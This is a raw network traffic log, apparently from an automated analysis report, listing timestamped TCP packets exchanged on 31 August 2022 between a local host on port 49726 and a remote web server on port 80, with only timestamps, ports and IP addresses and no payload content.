Aug 31, 2022 14:28:35.287810087 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.287853003 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.288295031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.288328886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.288351059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.288407087 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.288422108 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.288455963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.288477898 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.288511992 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.288873911 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.288908005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.288929939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.288949966 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.289160967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.289194107 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.289216042 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.289232969 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.289278984 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.289335012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.289382935 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.289382935 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.289424896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.289486885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.289509058 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.289557934 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.289954901 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.289975882 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.289989948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.290024042 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.290100098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.290127993 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.290141106 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.290180922 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.290443897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.290466070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.290478945 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.290512085 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.290550947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.290571928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.290591955 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.290632010 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.291075945 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.291129112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.291142941 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.291165113 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.291223049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.291271925 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.291286945 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.291312933 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.291536093 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.291577101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.291590929 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.291618109 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.291676998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.291697025 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.291712046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.291742086 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.292177916 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.292198896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.292212963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.292248964 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.292268038 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.292289972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.292310953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.292332888 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.292629957 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.292654991 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.292669058 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.292696953 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.292884111 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.292905092 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.292951107 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.292958021 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.292969942 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.293107986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.293128967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.293148994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.293164015 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.293164968 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.293184996 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.293260098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.293343067 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.293379068 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.293392897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.293401957 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.293473959 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.293495893 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.293519020 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.293519020 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.293535948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.293587923 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.294002056 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.294023991 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.294039965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.294049025 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.294118881 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.294172049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.294217110 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.294236898 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.294238091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.294253111 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.294270039 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.295052052 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295074940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295094967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295109987 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295164108 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.295381069 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295402050 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295423031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295439959 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295458078 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.295480967 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.295496941 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295533895 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295591116 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.295680046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295695066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295715094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295734882 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295754910 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295763969 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.295768976 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.295809031 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.296442986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.296466112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.296494007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.296508074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.296523094 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.296572924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.296633005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.296653986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.296668053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.296679974 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.296706915 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.297183990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297204971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297225952 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297241926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297259092 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.297343969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297365904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297386885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297399998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297410965 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.297432899 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.297660112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297682047 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297703028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297715902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297729969 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.297816992 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297838926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297858953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297873974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.297888041 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.297913074 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.298682928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.298705101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.298727036 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.298764944 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.298768997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.298893929 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.298914909 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.298935890 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.298935890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.298950911 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.298991919 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.299267054 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.299288034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.299344063 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.299366951 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.299384117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.299551964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.299573898 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.299595118 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.299608946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.299623013 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.299643993 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.300712109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.300731897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.300755024 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.300769091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.300801992 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.300860882 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.300925016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.300930023 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.300954103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.300966024 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.300995111 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.302218914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.302236080 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.302278996 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.302311897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.302324057 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.302390099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.302417040 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.302468061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.302469015 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.302479982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.302516937 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.303891897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.303916931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.303935051 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.303946018 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.303958893 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.303972006 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.303978920 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.303994894 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.304004908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.304028034 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.304063082 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.304236889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.305124998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.305233002 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.305306911 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.305358887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306008101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306026936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306041956 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306055069 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306073904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306087971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306092024 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.306102991 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306114912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306130886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306139946 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.306147099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306164026 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306166887 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.306174994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306189060 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.306190014 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306206942 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306210041 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.306221962 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306236982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306251049 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.306260109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306281090 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306297064 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.306303978 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306320906 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306349993 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.306456089 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306473970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306487083 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306498051 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306510925 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306523085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306526899 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.306540966 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306555033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306566000 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.306607008 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.306881905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306898117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306920052 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306931019 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.306958914 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.307050943 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.307069063 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.307100058 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.307112932 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.307125092 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.307163954 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.307396889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.372752905 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.441154957 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.441220999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.441308022 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.441349030 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.441381931 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.441432953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.441499949 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.441560984 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.441580057 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.441629887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.441684961 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.441725969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.441813946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.441886902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.441926003 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.441947937 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.441977978 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.442100048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.442159891 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.442161083 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.442198992 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.442250013 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.442497969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.442553043 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.442609072 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.442615032 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.442651033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.442703009 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.442756891 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.442810059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.442811966 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.442847967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.442898035 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.443193913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.443290949 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.443408012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.443450928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.443500996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.443552017 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.443592072 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.443605900 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.443700075 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.443759918 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.444201946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.444297075 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.444351912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.444355965 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.444391012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.444451094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.444514036 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.444598913 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.444628954 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.444700003 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.444792032 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.444813967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.444889069 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.444951057 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.444953918 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.444991112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.445086956 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.445185900 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.445246935 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.445250988 CEST	80	49726	85.209.157.230	192.168.2.4
